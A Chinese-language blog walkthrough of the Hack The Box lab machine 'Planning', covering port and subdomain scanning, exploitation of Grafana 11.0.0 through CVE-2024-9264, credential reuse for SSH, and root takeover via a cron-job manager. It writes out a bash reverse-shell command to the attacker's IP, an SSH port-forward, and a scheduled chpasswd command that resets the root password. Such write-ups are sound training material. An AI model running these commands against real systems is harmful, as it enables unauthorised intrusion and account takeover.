HTB靶机 Planning 渗透测试记录

misaka19008 发布于 2025-05-15 159 次阅读 2100 字



目标信息

IP地址:10.129.79.112(多个IP地址)

凭据:admin / 0D5oT70Fq13EvB5r


信息收集

ICMP检测

PING 10.129.79.112 (10.129.79.112) 56(84) bytes of data.
64 bytes from 10.129.79.112: icmp_seq=1 ttl=63 time=421 ms
64 bytes from 10.129.79.112: icmp_seq=2 ttl=63 time=342 ms
64 bytes from 10.129.79.112: icmp_seq=3 ttl=63 time=363 ms
64 bytes from 10.129.79.112: icmp_seq=4 ttl=63 time=386 ms

--- 10.129.79.112 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 341.507/377.877/421.120/29.489 ms

攻击机和靶机间网络连接正常。

防火墙检测

# Nmap 7.95 scan initiated Sun May 11 07:57:59 2025 as: /usr/lib/nmap/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.129.79.112
Nmap scan report for 10.129.79.112
Host is up (0.38s latency).
All 65535 scanned ports on 10.129.79.112 are in ignored states.
Not shown: 65535 open|filtered tcp ports (no-response)

# Nmap done at Sun May 11 07:58:46 2025 -- 1 IP address (1 host up) scanned in 47.11 seconds

无法探测靶机防火墙状态。

网络端口扫描

TCP端口扫描结果

# Nmap 7.95 scan initiated Sun May 11 08:02:50 2025 as: /usr/lib/nmap/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.129.79.112
Nmap scan report for 10.129.79.112
Host is up (0.26s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
|_  256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://planning.htb/
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5.0
OS details: Linux 5.0, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using proto 1/icmp)
HOP RTT       ADDRESS
1   288.28 ms 10.10.14.1
2   288.47 ms 10.129.79.112

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun May 11 08:03:44 2025 -- 1 IP address (1 host up) scanned in 53.56 seconds

UDP端口开放列表扫描结果

# Nmap 7.95 scan initiated Sun May 11 08:04:46 2025 as: /usr/lib/nmap/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.129.79.112
Warning: 10.129.79.112 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.79.112
Host is up (0.30s latency).
All 65535 scanned ports on 10.129.79.112 are in ignored states.
Not shown: 65287 open|filtered udp ports (no-response), 248 closed udp ports (port-unreach)

# Nmap done at Sun May 11 08:08:51 2025 -- 1 IP address (1 host up) scanned in 245.33 seconds

UDP端口详细信息扫描结果

(无)

同时发现靶机运行Ubuntu Linux操作系统,开启了SSHHTTP Web服务,主域名为planning.htb


服务探测

SSH服务(22端口)

端口Banner

┌──(root㉿misaka19008)-[/home/megumin/Documents/pentest_notes/planning]
└─# nc -nv 10.129.79.112 22                                     
(UNKNOWN) [10.129.79.112] 22 (ssh) open
SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.11

Web应用程序(80端口)

子域名枚举

确认靶机Web服务信息后,首先执行子域名爆破(使用字典bitquark-subdomains-top100000.txt):

wfuzz -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 60 -u 10.10.11.68 -H "Host: FUZZ.planning.htb" --hh 178 --hc 400

成功发现子站:grafana.planning.htb

主站

打开主页:http://planning.htb/

发现当前站点疑似为IT培训机构的官网。页面正上方的四个链接分别指向:index.phpabout.phpcourse.phpcontact.php

同时,在下方课程列表处发现了指向detail.php的网页链接:

<div class="w-100 bg-white text-center p-4" >
    <a class="btn btn-primary" href="detail.php">Course Detail</a>
</div>

尝试打开detail.php,发现页面右侧有指向enroll.php的按钮链接和一份账单,以及课程介绍,除此之外未发现其它信息:

点击Enroll Now按钮,跳转至enroll.php,发现一份表单:

尝试进行SQLi注入测试,失败。

查看其它页面,除了收集到一个电子邮箱info@planning.htb外,未发现敏感信息。

直接扫描目录,但未发现任何信息。

子站

打开子站http://grafana.planning.htb/

确认子站部署了Grafana应用程序监控平台,尝试使用提供的凭据登录:

发现Grafana的版本为v11.0.0。联网查询其公开漏洞,成功发现一个授权RCE漏洞,编号为CVE-2024-9264GitHub - nollium/CVE-2024-9264: Exploit for Grafana arbitrary file-read and RCE (CVE-2024-9264)

除此之外,未发现其它信息。


渗透测试

Grafana 授权RCE漏洞利用

在服务探测阶段,我们成功发现了子站grafana.planning.htb,登录了Grafana v11.0.0监控平台并发现了该系统的一个RCE漏洞,现在进行利用。

首先,将EXP代码克隆到本地:

https://github.com/nollium/CVE-2024-9264.git
chmod -R 777 ./CVE-2024-9264

随后,在项目目录下创建Python虚拟环境,随后激活环境,并安装其依赖库:

python -m venv ./CVE-2024-9264/expvenv
source ./CVE-2024-9264/expvenv/bin/activate
pip3 install -r ./CVE-2024-9264/requirements.txt

接着在本地443端口启动netcat监听,并运行如下命令,启动一个反弹Shell

./CVE-2024-9264/CVE-2024-9264.py -u admin -p "0D5oT70Fq13EvB5r" -c "/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.3/443 0>&1'" http://grafana.planning.htb

结果发现命令执行失败了,但是程序似乎把靶机Shell的环境变量也查询了出来:

仔细查看环境变量内容,从HOSTNAME一项可发现Grafana运行于Docker容器环境中,同时在变量GF_SECURITY_ADMIN_USERGF_SECURITY_ADMIN_PASSWORD中,还存在一份登录凭据:

  • 用户名:enzo
  • 密码:RioTecRANDEntANT!

直接使用上述凭据登录SSH

ssh enzo@planning.htb

登录系统成功!!


权限提升

目录信息收集

登录enzo用户后,执行目录信息收集。在/opt/crontabs/目录下发现了名为crontab.db的纯文本文件:


{"name":"Grafana backup","command":"/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz","schedule":"@daily","stopped":false,"timestamp":"Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740774983276,"saved":false,"_id":"GTI22PpoJNtRKg0W"}
{"name":"Cleanup","command":"/root/scripts/cleanup.sh","schedule":"* * * * *","stopped":false,"timestamp":"Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740849309992,"saved":false,"_id":"gNIRXh1WIc9K7BYX"}

JSON文件内似乎登记了两个定时任务。第一个定时任务为对Docker镜像root_grafana进行打包,并将打包好的grafana.tar.gz文件使用zip命令加上密码P4ssw0rdS0pRi0T3c进行进一步压缩;而第二个任务为运行/root/scripts/cleanup.sh脚本,具体操作未知。

除此之外,未发现其它信息,进行操作系统信息收集。

操作系统信息收集

基本系统信息

进程列表

计划任务列表

环境变量

用户信息

用户家目录

特殊权限文件

开放端口信息

敏感文件权限

经分析研判,发现靶机对本地开放了如下TCP端口:5330008000。通过查阅Nginx配置文件,可得知3000端口为系统映射DockerGrafana监控平台的实际开放端口,Nginx通过代理功能将来自80端口的数据发送至了3000端口。依此,确定8000端口为重大提权突破口。

接管高权限计划任务管理系统

首先,使用ssh命令转发8000端口到攻击机上:

ssh -fCNR 8000:localhost:8000 megumin@10.10.14.3 -p 22222

随后使用浏览器访问:

发现该端口开启了HTTP Basic认证,尝试了一些收集到的密码组合,但未找到有效凭据。

重新对已知信息进行分析研判,发现/opt/crontabs/crontab.db文件内也可能隐藏着登录凭据,因为该文件内第一项计划任务的zip命令中已经存在了密码参数,而Docker镜像的名称又为root_grafana,很可能是两个用户名。

尝试使用如下凭据登录8000端口HTTP Basic认证:

  • 用户名:root
  • 密码:P4ssw0rdS0pRi0T3c

成功!

发现该计划任务系统很可能以root身份运行。尝试添加一个修改root用户密码的计划任务(点击New按钮打开设置窗口,完成后点击Save即可):

id > /tmp/id.txt && echo "root:Asd310056" | chpasswd

成功添加后,直接点击Run now运行,随后尝试使用新设置的密码切换root用户:

su -

提权成功!!!!


本次靶机渗透到此结束


此作者没有提供个人介绍。
最后更新于 2025-05-18